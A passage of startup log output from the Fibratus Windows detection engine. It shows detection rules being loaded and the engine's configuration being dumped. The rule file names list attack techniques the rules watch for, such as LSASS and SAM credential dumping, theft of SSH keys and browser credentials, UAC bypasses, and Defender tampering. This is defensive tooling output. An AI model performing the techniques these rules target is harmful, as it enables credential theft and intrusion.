rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:11:02+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T21:11:02+01:00 level=info msg=bootstrapping with pid 20888. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:11:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ to=>[] use-template=>true port=>25 content-type=>text/html enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-threadpool=>false enable-fileio=>true flush-interval=>1s enable-vamap=>true enable-net=>true enable-mem=>false buffer-size=>512 max-buffers=>36 min-buffers=>16 enable-dns=>false enable-registry=>true enable-audit-api=>true enable-thread=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 level=>info log-stdout=>true max-age=>0] + output ......................... [ http=>[ endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s method=>POST enable-gzip=>false serializer=>json enabled=>false] elasticsearch=>[ trace-log=>false bulk-workers=>1 timeout=>5s healthcheck=>true flush-period=>1s healthcheck-timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] enabled=>false index-name=>fibratus sniff=>false gzip-compression=>false template-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ vhost=>/ passive=>false timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient durable=>false exchange=>fibratus enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false scan-timeout=>10s skip-mmaps=>false excluded-files=>[] skip-files=>false fastscan=>true skip-registry=>false excluded-procs=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:11:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:11:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:11:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:11:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:11:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:12:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:12:56+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T21:12:56+01:00 level=info msg=bootstrapping with pid 17624. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:12:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] use-template=>true enabled=>false content-type=>text/html port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 enable-dns=>false enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-image=>true max-buffers=>36 enable-mem=>false stack-enrichment=>true enable-thread=>true buffer-size=>512 enable-registry=>true enable-net=>true enable-audit-api=>true flush-interval=>1s enable-threadpool=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 max-age=>0 log-stdout=>true 